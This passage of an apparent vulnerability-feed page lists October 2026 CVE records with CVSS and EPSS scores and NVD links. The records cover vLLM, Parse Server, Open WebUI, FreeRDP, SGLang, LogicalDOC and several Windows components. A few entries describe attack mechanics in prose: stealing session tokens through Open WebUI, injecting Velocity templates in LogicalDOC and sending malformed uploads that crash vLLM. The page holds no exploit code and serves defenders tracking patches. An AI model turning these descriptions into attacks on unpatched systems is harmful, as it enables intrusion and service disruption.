EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109311&date=2026-10-25).
Sources:
NVD CVE-2026-109311: https://nvd.nist.gov/vuln/detail/CVE-2026-109311
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109311&date=2026-10-25
vLLM before 0.29.0 passes uploaded audio to the PyAV/FFmpeg av.open() fallback with only a file-size check, exposing FFmpeg's IAMF parser heap overflow. Authenticated remote attackers can repeatedly upload malformed IAMF containers to /v1/audio/transcriptions, corrupting the heap and crashing the API process.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Parse Server before 8.6.95 and 9.0.0 before 9.10.2-alpha.3 does not resolve file references lacking a URL before passing objects to Cloud Code triggers and LiveQuery, causing an...
https://kevwire.com/record/CVE-2026-109301
Parse Server before 8.6.95 and 9.0.0 before 9.10.2-alpha.3 does not resolve file references lacking a URL before passing objects to Cloud Code triggers and LiveQuery, causing an... (Oct 12, 2026).
Parse Server before 8.6.95 and 9.0.0 before 9.10.2-alpha.3 does not resolve file references lacking a URL before passing objects to Cloud Code triggers and LiveQuery, causing an uncaught exception that terminates the process. Attackers able to write to a class with Cloud Code save, find, or delete triggers or LiveQuery enabled, including unauthenticated users when public write access or sign-up is allowed, can crash the server or break subsequent requests.
CVSS 8.2 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109301).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109301&date=2026-10-25).
Sources:
NVD CVE-2026-109301: https://nvd.nist.gov/vuln/detail/CVE-2026-109301
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109301&date=2026-10-25
Parse Server before 8.6.95 and 9.0.0 before 9.10.2-alpha.3 does not resolve file references lacking a URL before passing objects to Cloud Code triggers and LiveQuery, causing an uncaught exception that terminates the process. Attackers able to write to a class with Cloud Code save, find, or delete triggers or LiveQuery enabled, including unauthenticated users when public write access or sign-up is allowed, can crash the server or break subsequent requests.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI from 0.6.33 before 0.11.4 contains a cross-site scripting vulnerability that allows authenticated users to execute script in victims' sessions by storing javascript:...
https://kevwire.com/record/CVE-2026-109291
Open WebUI from 0.6.33 before 0.11.4 contains a cross-site scripting vulnerability that allows authenticated users to execute script in victims' sessions by storing javascript:... (Oct 12, 2026).
Open WebUI from 0.6.33 before 0.11.4 contains a cross-site scripting vulnerability that allows authenticated users to execute script in victims' sessions by storing javascript: URLs in citation embed_url fields. Attackers can share a crafted chat whose citation, when clicked, is passed to window.open, letting them steal localStorage.token and act as the victim.
CVSS 8.5 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109291).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109291&date=2026-10-25).
Sources:
NVD CVE-2026-109291: https://nvd.nist.gov/vuln/detail/CVE-2026-109291
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109291&date=2026-10-25
Open WebUI from 0.6.33 before 0.11.4 contains a cross-site scripting vulnerability that allows authenticated users to execute script in victims' sessions by storing javascript: URLs in citation embed_url fields. Attackers can share a crafted chat whose citation, when clicked, is passed to window.open, letting them steal localStorage.token and act as the victim.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Open WebUI from 0.7.0 before 0.11.4 contains a cross-origin message handling vulnerability in SyncStatsModal that allows any website to steal a signed-in user's session token by...
https://kevwire.com/record/CVE-2026-109286
Open WebUI from 0.7.0 before 0.11.4 contains a cross-origin message handling vulnerability in SyncStatsModal that allows any website to steal a signed-in user's session token by... (Oct 12, 2026).
Open WebUI from 0.7.0 before 0.11.4 contains a cross-origin message handling vulnerability in SyncStatsModal that allows any website to steal a signed-in user's session token by posting unvalidated verify:chat messages. Attackers can supply a path-traversal chat id redirecting the authenticated stats export request to the auths endpoint, receiving the victim's JWT for full API access.
CVSS 8.6 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109286).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109286&date=2026-10-25).
Sources:
NVD CVE-2026-109286: https://nvd.nist.gov/vuln/detail/CVE-2026-109286
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109286&date=2026-10-25
Open WebUI from 0.7.0 before 0.11.4 contains a cross-origin message handling vulnerability in SyncStatsModal that allows any website to steal a signed-in user's session token by posting unvalidated verify:chat messages. Attackers can supply a path-traversal chat id redirecting the authenticated stats export request to the auths endpoint, receiving the victim's JWT for full API access.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### FreeRDP before 3.32.0 contains a divide-by-zero vulnerability in the freerdp-shadow-cli shadow server: the frame id in a client's Frame Acknowledge PDU is stored without a range...
https://kevwire.com/record/CVE-2026-109246
FreeRDP before 3.32.0 contains a divide-by-zero vulnerability in the freerdp-shadow-cli shadow server: the frame id in a client's Frame Acknowledge PDU is stored without a range... (Oct 12, 2026).
FreeRDP before 3.32.0 contains a divide-by-zero vulnerability in the freerdp-shadow-cli shadow server: the frame id in a client's Frame Acknowledge PDU is stored without a range check, so the in-flight frame count in shadow_encoder_inflight_frames() can underflow. An authenticated client can acknowledge a frame id one greater than the last frame sent, causing shadow_encoder_create_frame_id() to divide by zero (SIGFPE) and terminate the process, disconnecting all viewers.
CVSS 7.1 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109246).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109246&date=2026-10-25).
Sources:
NVD CVE-2026-109246: https://nvd.nist.gov/vuln/detail/CVE-2026-109246
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109246&date=2026-10-25
FreeRDP before 3.32.0 contains a divide-by-zero vulnerability in the freerdp-shadow-cli shadow server: the frame id in a client's Frame Acknowledge PDU is stored without a range check, so the in-flight frame count in shadow_encoder_inflight_frames() can underflow. An authenticated client can acknowledge a frame id one greater than the last frame sent, causing shadow_encoder_create_frame_id() to divide by zero (SIGFPE) and terminate the process, disconnecting all viewers.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### SGLang through 0.5.21 contains an unbounded memory allocation vulnerability in preprocess_video in qwen_vl.py that decodes frames at full source resolution before applying...
https://kevwire.com/record/CVE-2026-109227
SGLang through 0.5.21 contains an unbounded memory allocation vulnerability in preprocess_video in qwen_vl.py that decodes frames at full source resolution before applying... (Oct 12, 2026).
SGLang through 0.5.21 contains an unbounded memory allocation vulnerability in preprocess_video in qwen_vl.py that decodes frames at full source resolution before applying max_pixels limits. Remote attackers can submit high-resolution videos to /v1/chat/completions on Qwen-VL deployments, and concurrent requests exhaust worker memory causing denial of service.
CVSS 8.7 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109227).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109227&date=2026-10-25).
Sources:
NVD CVE-2026-109227: https://nvd.nist.gov/vuln/detail/CVE-2026-109227
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109227&date=2026-10-25
SGLang through 0.5.21 contains an unbounded memory allocation vulnerability in preprocess_video in qwen_vl.py that decodes frames at full source resolution before applying max_pixels limits. Remote attackers can submit high-resolution videos to /v1/chat/completions on Qwen-VL deployments, and concurrent requests exhaust worker memory causing denial of service.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LogicalDOC Community Edition through 9.3 contains a code injection vulnerability that allows authenticated users to execute OS commands by submitting Velocity templates in...
https://kevwire.com/record/CVE-2026-109199
LogicalDOC Community Edition through 9.3 contains a code injection vulnerability that allows authenticated users to execute OS commands by submitting Velocity templates in... (Oct 12, 2026).
LogicalDOC Community Edition through 9.3 contains a code injection vulnerability that allows authenticated users to execute OS commands by submitting Velocity templates in DocumentService.sendAsEmail subject or message fields. Attackers can invoke SystemTool exec methods or ClassTool, bypassing the forbidRuntimeUsage denylist, to run commands with LogicalDOC process privileges.
CVSS 8.7 (version 4.0; evidence as of Oct 18, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109199).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-109199&date=2026-10-25).
Sources:
NVD CVE-2026-109199: https://nvd.nist.gov/vuln/detail/CVE-2026-109199
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=0
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-109199&date=2026-10-25
LogicalDOC Community Edition through 9.3 contains a code injection vulnerability that allows authenticated users to execute OS commands by submitting Velocity templates in DocumentService.sendAsEmail subject or message fields. Attackers can invoke SystemTool exec methods or ClassTool, bypassing the forbidRuntimeUsage denylist, to run commands with LogicalDOC process privileges.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows SMB Server allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88127
Use after free in Windows SMB Server allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows SMB Server allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88127).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88127&date=2026-10-25).
Sources:
NVD CVE-2026-88127: https://nvd.nist.gov/vuln/detail/CVE-2026-88127
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88127&date=2026-10-25
Use after free in Windows SMB Server allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Server for NFS allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-88115
Out-of-bounds read in Windows Server for NFS allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Out-of-bounds read in Windows Server for NFS allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88115).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88115&date=2026-10-25).
Sources:
NVD CVE-2026-88115: https://nvd.nist.gov/vuln/detail/CVE-2026-88115
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88115&date=2026-10-25
Out-of-bounds read in Windows Server for NFS allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weak authentication in Microsoft Input Method Editor (IME) allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-88101
Weak authentication in Microsoft Input Method Editor (IME) allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Weak authentication in Microsoft Input Method Editor (IME) allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-88101).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-88101&date=2026-10-25).
Sources:
NVD CVE-2026-88101: https://nvd.nist.gov/vuln/detail/CVE-2026-88101
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-88101
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-88101&date=2026-10-25
Weak authentication in Microsoft Input Method Editor (IME) allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Windows Shell allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-85936
Double free in Windows Shell allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Double free in Windows Shell allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85936).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85936&date=2026-10-25).
Sources:
NVD CVE-2026-85936: https://nvd.nist.gov/vuln/detail/CVE-2026-85936
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85936&date=2026-10-25
Double free in Windows Shell allows an unauthorized attacker to execute code over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows SmartScreen allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85851
Use after free in Windows SmartScreen allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows SmartScreen allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85851).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85851&date=2026-10-25).
Sources:
NVD CVE-2026-85851: https://nvd.nist.gov/vuln/detail/CVE-2026-85851
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85851&date=2026-10-25
Use after free in Windows SmartScreen allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-85338
Out-of-bounds read in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Out-of-bounds read in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-85338).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-85338&date=2026-10-25).
Sources:
NVD CVE-2026-85338: https://nvd.nist.gov/vuln/detail/CVE-2026-85338
Vendor advisory (via NVD references): https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-85338
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-85338&date=2026-10-25
Out-of-bounds read in Microsoft Graphics Component allows an authorized attacker to elevate privileges locally.

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Sensor Data Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83639
Heap-based buffer overflow in Windows Sensor Data Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Sensor Data Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83639).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83639&date=2026-10-25).
Sources:
NVD CVE-2026-83639: https://nvd.nist.gov/vuln/detail/CVE-2026-83639
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83639&date=2026-10-25
Heap-based buffer overflow in Windows Sensor Data Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Smart Card allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83584
Use after free in Windows Smart Card allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Smart Card allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83584).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83584&date=2026-10-25).
Sources:
NVD CVE-2026-83584: https://nvd.nist.gov/vuln/detail/CVE-2026-83584
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83584&date=2026-10-25
Use after free in Windows Smart Card allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Smart Card allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83579
Heap-based buffer overflow in Windows Smart Card allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in Windows Smart Card allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83579).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83579&date=2026-10-25).
Sources:
NVD CVE-2026-83579: https://nvd.nist.gov/vuln/detail/CVE-2026-83579
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83579&date=2026-10-25
Heap-based buffer overflow in Windows Smart Card allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83510
Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83510).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83510&date=2026-10-25).
Sources:
NVD CVE-2026-83510: https://nvd.nist.gov/vuln/detail/CVE-2026-83510
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83510&date=2026-10-25
Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Untrusted search path in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83509
Untrusted search path in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Untrusted search path in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83509).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83509&date=2026-10-25).
Sources:
NVD CVE-2026-83509: https://nvd.nist.gov/vuln/detail/CVE-2026-83509
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83509&date=2026-10-25
Untrusted search path in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83505
Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83505).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83505&date=2026-10-25).
Sources:
NVD CVE-2026-83505: https://nvd.nist.gov/vuln/detail/CVE-2026-83505
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83505&date=2026-10-25
Time-of-check time-of-use (toctou) race condition in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83499
Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83499).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83499&date=2026-10-25).
Sources:
NVD CVE-2026-83499: https://nvd.nist.gov/vuln/detail/CVE-2026-83499
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83499&date=2026-10-25
Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### External control of system or configuration setting in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-73027
External control of system or configuration setting in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
External control of system or configuration setting in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-73027).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-73027&date=2026-10-25).
Sources:
NVD CVE-2026-73027: https://nvd.nist.gov/vuln/detail/CVE-2026-73027
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-73027&date=2026-10-25
External control of system or configuration setting in Windows Setup Files Cleanup allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70222
Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Relative path traversal in Windows Shell allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 17, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70222).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70222&date=2026-10-25).
Sources:
NVD CVE-2026-70222: https://nvd.nist.gov/vuln/detail/CVE-2026-70222
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70222&date=2026-10-25
